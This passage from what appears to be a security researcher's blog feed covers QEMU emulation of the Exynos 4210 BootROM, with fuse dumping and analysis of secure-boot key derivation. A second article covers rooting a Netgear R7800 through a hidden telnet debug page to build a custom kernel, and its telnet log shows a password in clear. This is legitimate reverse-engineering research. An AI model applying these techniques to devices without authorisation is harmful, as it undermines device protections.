for (ptr = 0; ptr < ARRAY_SIZE(exynos4_clksrcs); ptr++)
s3c_set_clksrc(&exynos4_clksrcs[ptr], true);
<span class="gi">+</span>
<span class="gi">+ printk(KERN_INFO "%s: Looking for seckey clock...\n", __func__);</span>
<span class="gi">+ for (ptr = 0; ptr < ARRAY_SIZE(exynos4_init_clocks); ptr++) {</span>
<span class="gi">+ if (exynos4_init_clocks[ptr].name == NULL)</span>
<span class="gi">+ break;</span>
<span class="gi">+</span>
<span class="gi">+ if (strcmp("seckey", exynos4_init_clocks[ptr].name) == 0) {</span>
<span class="gi">+ printk(KERN_INFO "%s: Enabling seckey clock\n", __func__);</span>
<span class="gi">+ clk_enable(&exynos4_init_clocks[ptr]);</span>
<span class="gi">+ }</span>
<span class="gi">+ }</span>
}
static struct clk *exynos4_clks[] __initdata = {
</pre></div>
<p>After flashing and booting this custom kernel on Galasy S2 device, we can dump fuses data with <a href="proxy.php?url=https://github.com/Vee7-Cyanogenmod13/device_lge_l7II/tree/cm-13.0/viewmem">viewmem tool</a>, like we did for BootROM :</p>
<div class="highlight"><pre><span></span><span class="c1"># ./viewmem 0x10100000 0x100 > ./fuses.bin </span>
<span class="o">[</span>INFO<span class="o">]</span> Reading <span class="m">256</span> bytes at 0x10100000...
</pre></div>
<h1>Debugging</h1>
<p>We have the BootROM, fuses data, and the first bootloader from flash memory.
However, we should not expect it to run properly on the first try.</p>
<p>The following QEMU features were used to debug issues and develop new QEMU peripherals :</p>
<ul>
<li><a href="proxy.php?url=https://git.qemu.org/?p=qemu.git;a=blob_plain;f=docs/devel/tracing.txt;hb=HEAD">Trace events</a> : output debug log when specific instructions are hit.</li>
<li><a href="proxy.php?url=https://wiki.qemu.org/Documentation/Debugging">GDB stub</a> : attach your favorite debugger i.e. GDB or IDA.</li>
<li><a href="proxy.php?url=https://en.wikibooks.org/wiki/QEMU/Monitor">Monitor console</a> : interact with QEMU while guest is running, for example to enable specific trace events.</li>
</ul>
<p>Most issues are related to peripherals and will cause QEMU to hang (e.g. infinite loop due to polling of non-implemented hardware register).</p>
<h1>QEMU changes</h1>
<p>Despite the number of peripherals implemented for this SoC, some are still missing to complete execution of BootROM with success.
Following sections describe the main changes made in <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom">QEMU source tree</a> for this project. New peripherals are heavily based on existing ones in upstream QEMU project.</p>
<h2>Add BootROM loading support</h2>
<p>For this machine, QEMU is supposed to run U-Boot bootloader or Linux kernel directly. By default, only a <a href="proxy.php?url=https://github.com/qemu/qemu/blob/master/hw/arm/exynos4210.c#L128">small & minimal bootloader</a> is loaded in secondary CPUs, which is not relevant for this project.</p>
<p>In order to load BootROM in memory before starting the machine, we take advantage of the existing BIOS loading feature in QEMU.</p>
<p><a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom/commit/23ce5e32774a2ae834e3ed99dd2d26a1be5a2d8a">With this change</a>, BootROM image file can now be loaded in memory thanks to <strong>-bios</strong> parameter. It will be executed directly when emulated machine is reset.</p>
<h2>One-Time Programmable (OTP) memory emulation</h2>
<p>One-Time Programmable (OTP) memory is a MMIO peripheral used to store device-specific data. Read operations can be performed with simple load instructions, but write operations (or fusing) are usually more complex.</p>
<p>For this project, OTP peripheral is <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom/commit/70c8b2088c6e24d7863609a2368e3591859a114d">implemented as a simple read-only memory</a>, initialized with fuses data dumped from Galaxy S2 device. Write operations are not supported.</p>
<p>When BootROM is executed, QEMU debug log provides detailed information on OTP data accessed.</p>
<ul>
<li>First OTP access is a read operation on area 0x18-0x2C. Based on static analysis, BootROM checks these fuses are provisioned (not null) :</li>
</ul>
<div class="highlight"><pre><span></span> <span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x18</span> <span class="p">(</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x1c</span> <span class="p">(</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x20</span> <span class="p">(</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x24</span> <span class="p">(</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x28</span> <span class="p">(</span><span class="mh">0x4</span><span class="p">)</span>
</pre></div>
<ul>
<li>Same area 0x18-0x2C (20 bytes) is read a second time to derive HMAC-SHA1 key (to authenticate next bootloader) :</li>
</ul>
<div class="highlight"><pre><span></span> <span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x18</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x19</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[...]</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x2a</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x2b</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
</pre></div>
<ul>
<li>The area is read a third time, but only first 16 bytes, to derive AES-CBC-128 key (to decrypt next bootloader) :</li>
</ul>
<div class="highlight"><pre><span></span> <span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x18</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x19</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[...]</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x26</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
<span class="p">[</span><span class="nl">exynos4210_otp_read</span><span class="p">:</span><span class="mi">66</span><span class="p">]</span> <span class="n">Read</span> <span class="n">OTP</span> <span class="err">@</span><span class="mh">0x27</span> <span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>
</pre></div>
<h2>Advanced Crypto Engine (ACE) emulation</h2>
<p>Advanced Crypto Engine (ACE) peripheral performs hardware-accelerated cryptographic operations. ACE interface, composed of many Special Function Registers (SFR), is way more complex than the OTP one.
Fortunately, these SFR are <a href="proxy.php?url=https://github.com/exynos4-sdk/uboot/blob/master/arch/arm/include/asm/arch-exynos/ace_sfr.h">documented in U-Boot source code</a>.</p>
<p>Again, <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom/commit/4deef8737da3a683bc858e91eba5a588a2879b0a">our implementation</a> is limited to features actually used by BootROM : only AES-CBC-128 operations are supported.</p>
<p>When BootROM is executed, QEMU debug log details how ACE peripheral is used :</p>
<ul>
<li>Set AES key, IV, and other parameters (<strong>ACE_AES_CONTROL</strong> register) :</li>
</ul>
<div class="highlight"><pre><span></span> <span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_CONTROL</span> <span class="o"><</span><span class="mh">0x0200</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x0e8b</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_KEY5</span> <span class="o"><</span><span class="mh">0x0290</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0xebc4ad63</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_KEY6</span> <span class="o"><</span><span class="mh">0x0294</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x27239f1a</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_KEY7</span> <span class="o"><</span><span class="mh">0x0298</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x230ce305</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_KEY8</span> <span class="o"><</span><span class="mh">0x029c</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0xcaad75d2</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_IV1</span> <span class="o"><</span><span class="mh">0x0230</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0xee1c2939</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_IV2</span> <span class="o"><</span><span class="mh">0x0234</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x6be93160</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_IV3</span> <span class="o"><</span><span class="mh">0x0238</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0xd8bbf993</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_AES_IV4</span> <span class="o"><</span><span class="mh">0x023c</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x29b98fe8</span>
<span class="p">[</span><span class="nl">exynos4210_ace_read</span><span class="p">:</span><span class="mi">315</span><span class="p">]</span> <span class="n">ACE_FC_INTPEND</span> <span class="p">[</span><span class="mh">0x000c</span><span class="p">]</span> <span class="o">-></span> <span class="mh">0x0000</span>
<span class="p">[</span><span class="nl">exynos4210_ace_FCINTPEND</span><span class="p">:</span><span class="mi">227</span><span class="p">]</span> <span class="n">QEMU</span> <span class="nl">ACE</span><span class="p">:</span> <span class="n">FCINTPEND</span> <span class="n">triggered</span>
</pre></div>
<ul>
<li>Set input & output buffer addresses (0x2021410), set buffer size (0x1bf0), and poll decryption process status (<strong>ACE_FC_INTPEND</strong> register):</li>
</ul>
<div class="highlight"><pre><span></span> <span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_FC_BRDMAS</span> <span class="o"><</span><span class="mh">0x0020</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x2021410</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_FC_BTDMAS</span> <span class="o"><</span><span class="mh">0x0030</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x2021410</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_FC_BTDMAL</span> <span class="o"><</span><span class="mh">0x0034</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x1bf0</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_FC_BRDMAL</span> <span class="o"><</span><span class="mh">0x0024</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x1bf0</span>
<span class="p">[</span><span class="nl">exynos4210_ace_read</span><span class="p">:</span><span class="mi">315</span><span class="p">]</span> <span class="n">ACE_FC_INTPEND</span> <span class="p">[</span><span class="mh">0x000c</span><span class="p">]</span> <span class="o">-></span> <span class="mh">0x0000</span>
<span class="p">[</span><span class="nl">exynos4210_ace_FCINTPEND</span><span class="p">:</span><span class="mi">227</span><span class="p">]</span> <span class="n">QEMU</span> <span class="nl">ACE</span><span class="p">:</span> <span class="n">FCINTPEND</span> <span class="n">triggered</span>
<span class="p">[</span><span class="nl">exynos4210_ace_FCINTPEND</span><span class="p">:</span><span class="mi">235</span><span class="p">]</span> <span class="n">QEMU</span> <span class="nl">ACE</span><span class="p">:</span> <span class="n">AES_control</span><span class="o">=</span><span class="mh">0xe8b</span><span class="p">,</span> <span class="n">FCBRDMAS</span><span class="o">=</span><span class="mh">0x2021410</span><span class="p">,</span> <span class="n">FCBRDMAS</span><span class="o">=</span><span class="mh">0x1bf0</span><span class="p">,</span> <span class="n">FCBRDMAS</span><span class="o">=</span><span class="mh">0x2021410</span><span class="p">,</span> <span class="n">FCBRDMAS</span><span class="o">=</span><span class="mh">0x1bf0</span>
<span class="p">[</span><span class="nl">exynos4210_ace_write</span><span class="p">:</span><span class="mi">338</span><span class="p">]</span> <span class="n">ACE_FC_INTPEND</span> <span class="o"><</span><span class="mh">0x000c</span><span class="o">></span> <span class="o"><-</span> <span class="mh">0x0004</span>
</pre></div>
<p>The log shows that 0x1bf0 bytes of data at address 0x2021410 are decrypted (<strong>ACE_AES_CONTROL[0]</strong> bit) using AES-CBC mode (<strong>ACE_AES_CONTROL[2:1]</strong> bits).</p>
<h2>Minor fixes in SD/MMC Host controller</h2>
<p>SD controller emulation is already fully supported by QEMU, however few minor differences causes BootROM to hang.</p>
<p>First issue occurs when BootROM sends initialization command ACMD41 (SD_APP_OP_COND) multiple times. QEMU SD-card emulator only replies to the first attempt. <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom/commit/6f045949ee2fdec6248a8e438a38c212c2896927">Our patch</a> ensures that SD-card always replies, even when SD-card state is already ready.</p>
<p>Second issue is the lack of support for <strong><em>SD Clock Enable</em></strong> register in <a href="proxy.php?url=https://www.sdcard.org/jp/developers/overview/host_controller/simple_spec/Simplified_SD_Host_Controller_Spec.pdf">Clock Control Register</a>.
<a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom/commit/9be5c9f2253dbc04ee690365f9e81eb1fbc00ee0">The patch</a> implements it like defined in the <a href="proxy.php?url=https://lists.gnu.org/archive/html/qemu-devel/2011-12/msg01271.html">original contribution</a>.</p>
<p>Thanks to these changes, BootROM can perform SD operations. QEMU debug log shows that 0x2000 bytes are read at offset 0x200 :</p>
<div class="highlight"><pre><span></span>SD: sd_blk_read: addr = 0x00000200, len = 512
SD: sd_blk_read: addr = 0x00000400, len = 512
SD: sd_blk_read: addr = 0x00000600, len = 512
SD: sd_blk_read: addr = 0x00000800, len = 512
SD: sd_blk_read: addr = 0x00000a00, len = 512
SD: sd_blk_read: addr = 0x00000c00, len = 512
SD: sd_blk_read: addr = 0x00000e00, len = 512
SD: sd_blk_read: addr = 0x00001000, len = 512
SD: sd_blk_read: addr = 0x00001200, len = 512
SD: sd_blk_read: addr = 0x00001400, len = 512
SD: sd_blk_read: addr = 0x00001600, len = 512
SD: sd_blk_read: addr = 0x00001800, len = 512
SD: sd_blk_read: addr = 0x00001a00, len = 512
SD: sd_blk_read: addr = 0x00001c00, len = 512
SD: sd_blk_read: addr = 0x00001e00, len = 512
SD: sd_blk_read: addr = 0x00002000, len = 512
</pre></div>
<p>These read operations match with encrypted FWBL1 image in bootloader partition previously dumped.</p>
<h1>Executing BootROM in QEMU</h1>
<p>We compile our modified <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom">QEMU</a> and run :</p>
<div class="highlight"><pre><span></span>$ qemu-system-arm -machine smdkc210 -cpu cortex-a9 -s -S -bios ./bootrom.bin -sd ./mmc_boot.img
</pre></div>
<ul>
<li>-machine : emulated machine</li>
<li>-s : Shorthand for -gdb tcp::1234</li>
<li>-S : Do not start CPU at startup</li>
<li>-bios : BootROM image file</li>
<li>-sd : SD-card image file (equivalent to internal eMMC memory). We specify the path of bootloader dumped previously.</li>
</ul>
<p>From static analysis, we know that main BootROM function ends by jumping to IRAM at address <strong>0x02021410</strong>. We can also notice that AES decryption took place at the same address.
We attach GDB and set a breakpoint to this address :</p>
<div class="highlight"><pre><span></span><span class="n">Breakpoint</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0x02021410</span> <span class="n">in</span> <span class="o">??</span> <span class="p">()</span>
<span class="p">(</span><span class="n">gdb</span><span class="p">)</span> <span class="n">layout</span> <span class="k">asm</span>
<span class="n">B</span><span class="o">+></span> <span class="mh">0x2021410</span> <span class="n">b</span> <span class="mh">0x2021434</span>
<span class="mh">0x2021414</span> <span class="n">b</span> <span class="mh">0x2021414</span>
<span class="mh">0x2021418</span> <span class="n">b</span> <span class="mh">0x2021418</span>
<span class="mh">0x202141c</span> <span class="n">b</span> <span class="mh">0x202141c</span>
<span class="mh">0x2021420</span> <span class="n">b</span> <span class="mh">0x2021420</span>
<span class="mh">0x2021424</span> <span class="n">b</span> <span class="mh">0x2021424</span>
<span class="mh">0x2021428</span> <span class="n">b</span> <span class="mh">0x2021428</span>
<span class="mh">0x202142c</span> <span class="n">b</span> <span class="mh">0x202142c</span>
<span class="mh">0x2021430</span> <span class="n">b</span> <span class="mh">0x2021430</span>
<span class="mh">0x2021434</span> <span class="n">mrc</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">r0</span><span class="p">,</span> <span class="n">cr1</span><span class="p">,</span> <span class="n">cr0</span><span class="p">,</span> <span class="p">{</span><span class="mi">0</span><span class="p">}</span>
<span class="p">[...]</span>
</pre></div>
<p>GDB breaks at the exception vector table of decrypted FWBL1.</p>
<p>After resuming execution, QEMU debug log shows that FWBL1 reads 0x4000 bytes from flash memory at address 0x2200 :</p>
<div class="highlight"><pre><span></span>SD: sd_blk_read: addr = 0x00002200, len = 512
SD: sd_blk_read: addr = 0x00002400, len = 512
[...]
SD: sd_blk_read: addr = 0x00005e00, len = 512
SD: sd_blk_read: addr = 0x00006000, len = 512
</pre></div>
<p>But that's another story since BootROM execution is already over.</p>
<h1>Secure boot analysis</h1>
<p>Secure boot process aims to assert the authenticity of all software components in boot chain.
The first component in the chain is called root of trust, and in our case it's the BootROM. It loads, authenticates and decrypts the next component called FWBL1, stored in flash memory.</p>
<p>The footer of FWBL1 contains metadata structures that BootROM parses to perform authentication.
Fortunately, these structures are defined in <a href="proxy.php?url=https://github.com/medicalwei/u-boot-odroidxu-hyp/blob/master/arch/arm/cpu/armv7/exynos/uboot_sb21.h">U-Boot source tree</a> :</p>
<div class="highlight"><pre><span></span><span class="cp">#define SB20_MAX_SIGN_LEN (2048/8)</span>
<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
<span class="n">SB20_RSAPubKey</span> <span class="n">stage2PubKey</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">code_SignedDataLen</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">code_SignedData</span><span class="p">[</span><span class="n">SB20_MAX_SIGN_LEN</span><span class="p">];</span>
<span class="n">SB20_PubKeyInfo</span> <span class="n">pubKeyInfo</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">func_ptr_BaseAddr</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">reservedData</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SB20_CONTEXT</span><span class="p">;</span>
</pre></div>
<p>Field <strong>code_SignedData</strong> is the RSA-2048 signature of payload (FWBL1 code).</p>
<p>Then, <strong>pubKeyInfo</strong> structure contains information required to verify this signature :</p>
<div class="highlight"><pre><span></span><span class="cp">#define SB20_HMAC_SHA1_LEN 20</span>
<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
<span class="n">SB20_RSAPubKey</span> <span class="n">rsaPubKey</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">signedData</span><span class="p">[</span><span class="n">SB20_HMAC_SHA1_LEN</span><span class="p">];</span>
<span class="p">}</span> <span class="n">SB20_PubKeyInfo</span><span class="p">;</span>
</pre></div>
<p><strong>rsaPubKey</strong> structure is the RSA public key, composed of modulus N and public exponent E.
<strong>signedData</strong> is a HMAC of this key to ensure it hasn't been modified.</p>
<p>So the authentication scenario of FWBL1 by BootROM is :</p>
<ul>
<li>verify HMAC of <strong>rsaPubKey</strong> : <strong>signedData</strong> == HMAC(<strong>Key</strong>, <strong>rsaPubKey</strong>)</li>
<li>verify <strong>code_SignedData</strong> signature using <strong>rsaPubKey</strong></li>
</ul>
<p>Verifying HMAC value <strong>signedData</strong> requires the same secret <strong>Key</strong> that was used to generate it. However, static analysis reveals that <strong>Key</strong> is not directly stored in device : it's in fact derived at runtime with a XOR operation applied to OTP value <strong><em>OTP_key</em></strong> and the HMAC <strong>signedData</strong> itself :</p>
<ul>
<li><strong>Key</strong> = <strong>signedData</strong> ⊕ <strong><em>OTP_key</em></strong></li>
</ul>
<p>Since <strong><em>OTP_key</em></strong> is in read-only OTP memory, attacker cannot replace <strong>rsaPubKey</strong> to forge a new signature, otherwise derivated <strong>Key</strong> would be different and HMAC verification would fail.</p>
<p>Finally, authenticated payload is decrypted using AES-CBC-128, with same <strong>Key</strong> as the HMAC one (first 16 bytes only). IV is the SHA1 of <strong>rsaPubKey</strong> (first 16 bytes).</p>
<h1>Conclusion</h1>
<p>QEMU is able to run Exynos 4210 BootROM with <strong><em>relatively</em></strong> <a href="proxy.php?url=https://github.com/frederic/qemu-exynos-bootrom">small code changes</a> (~600 LoC). This project allows to debug BootROM dynamically with GDB. It has been helpful for analyzing secure boot mechanism that loads and authenticates the next stage from flash memory.</p>Netgear Nighthawk R7800 : add USB camera support to create a security webcam2017-11-22T00:00:00-08:002017-11-22T00:00:00-08:00Frédérictag:fredericb.info,2017-11-22:/2017/11/netgear-nighthawk-r7800-add-usb-camera-support-to-create-a-security-webcam.html<p>This article explains how to customize Nighthawk X4S firmware to add a security camera feature to this always-online & almost-always-idle device.
Alternative firmwares like <a href="proxy.php?url=https://openwrt.org/">OpenWRT</a> or <a href="proxy.php?url=https://lede-project.org/">LEDE</a> exist, but they don't fully support all stock features yet. So instead this approach is based on modified stock firmware.</p>
<p><img alt="Netgear Nighthawk X4S" src="proxy.php?url=https://fredericb.info/blog/r7800-custom/x4s.jpg">
<img alt="Serious webcam" src="proxy.php?url=https://fredericb.info/blog/r7800-custom/webcam.jpg"></p>
<p>Main steps are:</p>
<ul>
<li>Customize …</li></ul><p>This article explains how to customize Nighthawk X4S firmware to add a security camera feature to this always-online & almost-always-idle device.
Alternative firmwares like <a href="proxy.php?url=https://openwrt.org/">OpenWRT</a> or <a href="proxy.php?url=https://lede-project.org/">LEDE</a> exist, but they don't fully support all stock features yet. So instead this approach is based on modified stock firmware.</p>
<p><img alt="Netgear Nighthawk X4S" src="proxy.php?url=https://fredericb.info/blog/r7800-custom/x4s.jpg">
<img alt="Serious webcam" src="proxy.php?url=https://fredericb.info/blog/r7800-custom/webcam.jpg"></p>
<p>Main steps are:</p>
<ul>
<li>Customize kernel to add USB video support (uvc, v4l2)</li>
<li>Install additional software packages for motion detection</li>
<li>Configure motion detection alerts</li>
</ul>
<h1>#YOLO</h1>
<p>There's always a risk of bricking the device if something goes wrong. However, a <a href="proxy.php?url=https://kb.netgear.com/22688/How-to-upload-firmware-to-a-NETGEAR-router-using-TFTP">recovery procedure via TFTP</a> exists.</p>
<p>Software downloads are performed over HTTP, due to client limitation on target side.</p>
<h1>Hardware</h1>
<ul>
<li><a href="proxy.php?url=https://www.netgear.com/home/products/networking/wifi-routers/R7800.aspx">Neatgear Nighthawk X4S router</a></li>
<li><a href="proxy.php?url=https://www.aliexpress.com/item/Newest-Webcam-USB-12-Megapixel-High-Definition-Camera-Web-Cam-360-Degree-MIC-Clip-on-For/32659656232.html">random cheap USB webcam</a> (don't buy that one, quality is terrible)</li>
</ul>
<h1>Root that firmware</h1>
<p>I first thought that this step would be a pain, but then reminded the device manufacturer name. By grepping 'telnet' in the <a href="proxy.php?url=https://www.netgear.com/support/product/r7800.aspx#download">firmware binary</a>, we discover the existence of a debug page <em>/debug.htm</em> , with telnet option:</p>
<p><img alt="R7800 debug webpage" src="proxy.php?url=https://fredericb.info/blog/r7800-custom/r7800_debug_page.png" width="852px"></p>
<p>Telnet access is protected with the same password as WebUI, and gives a root shell.</p>
<h1>Backup all the things</h1>
<p>Thanks to telnet access, we backup the original kernel partition on an external USB drive :</p>
<div class="highlight"><pre><span></span>$ telnet <span class="m">192</span>.168.1.1
Trying <span class="m">192</span>.168.1.1...
Connected to <span class="m">192</span>.168.1.1.
Escape character is <span class="s1">'^]'</span>.
<span class="o">===</span> <span class="nv">LOGIN</span> <span class="o">===============================</span>
Please enter your password,It<span class="s1">'s the same</span>
<span class="s1"> with DUT login password</span>
<span class="s1"> ------------------------------------------</span>
<span class="s1">telnet password:JCVD4l1FE</span>
<span class="s1">=== IMPORTANT ============================</span>
<span class="s1"> Use '</span>passwd<span class="s1">' to set your login password</span>
<span class="s1"> this will disable telnet and enable SSH</span>
<span class="s1">------------------------------------------</span>
<span class="s1">BusyBox v1.4.2 (2017-08-29 13:01:25 CST) Built-in shell (ash)</span>
<span class="s1">Enter '</span>help<span class="s1">' for a list of built-in commands.</span>
<span class="s1"> MM NM MMMMMMM M M</span>
<span class="s1"> $MMMMM MMMMM MMMMMMMMMMM MMM MMM</span>
<span class="s1"> MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM</span>
<span class="s1">MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'</span>
<span class="nv">MMMM</span><span class="o">=</span> MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
<span class="nv">MMMM</span><span class="o">=</span> MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
<span class="nv">MMMM</span><span class="o">=</span> MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
<span class="nv">MMMM</span><span class="o">=</span> MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
<span class="nv">MMMM</span><span class="o">=</span> MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
<span class="nv">MMMM</span><span class="o">=</span> MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... <span class="o">(</span>%C, %R<span class="o">)</span>
---------------------------------------------------------------
root@R7800:/# cat /proc/mtd <span class="p">|</span> grep kernel
mtd5: <span class="m">00220000</span> <span class="m">00020000</span> <span class="s2">"kernel"</span>
root@R7800:/# dd <span class="k">if</span><span class="o">=</span>/dev/mtdblock5 <span class="nv">of</span><span class="o">=</span>/mnt/sda1/kernel.img
<span class="m">4352</span>+0 records in
<span class="m">4352</span>+0 records out
</pre></div>
<h1>Kernel</h1>
<p>Netgear has released <a href="proxy.php?url=https://github.com/frederic/netgear-R7800-GPL">GPL source code</a> for the Linux kernel used in this device.
This copy on GitHub integrates few fixes to compile with newer GCC and V4L2 headers, and also the original kernel configuration dumped from live device.</p>
<div class="highlight"><pre><span></span>$ git clone https://github.com/frederic/netgear-R7800-GPL.git
$ <span class="nb">cd</span> netgear-R7800-GPL/
</pre></div>
<h2>Build mkimage tool</h2>
<p>The <em>mkimage</em> tool is used at the end of kernel building process to create the new kernel image partition for the device.</p>
<div class="highlight"><pre><span></span>$ make tools/mkimage/install
make<span class="o">[</span><span class="m">1</span><span class="o">]</span> tools/mkimage/install
make<span class="o">[</span><span class="m">2</span><span class="o">]</span> -C tools/sed compile
make<span class="o">[</span><span class="m">2</span><span class="o">]</span> -C tools/sed install
make<span class="o">[</span><span class="m">2</span><span class="o">]</span> -C tools/mkimage compile
make<span class="o">[</span><span class="m">2</span><span class="o">]</span> -C tools/mkimage install
</pre></div>
<p>Add freshly built <em>mkimage</em> binary to our PATH environment:</p>
<div class="highlight"><pre><span></span>$ <span class="nb">export</span> <span class="nv">PATH</span><span class="o">=</span><span class="nv">$PWD</span>/build_dir/host/u-boot-2012.04.01/tools:<span class="nv">$PATH</span>
</pre></div>
<h2>Build Linux kernel</h2>
<p>To build a kernel for this ARM-based device, we need to add a cross-compilation toolchain to our build environment :</p>
<div class="highlight"><pre><span></span>$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.8
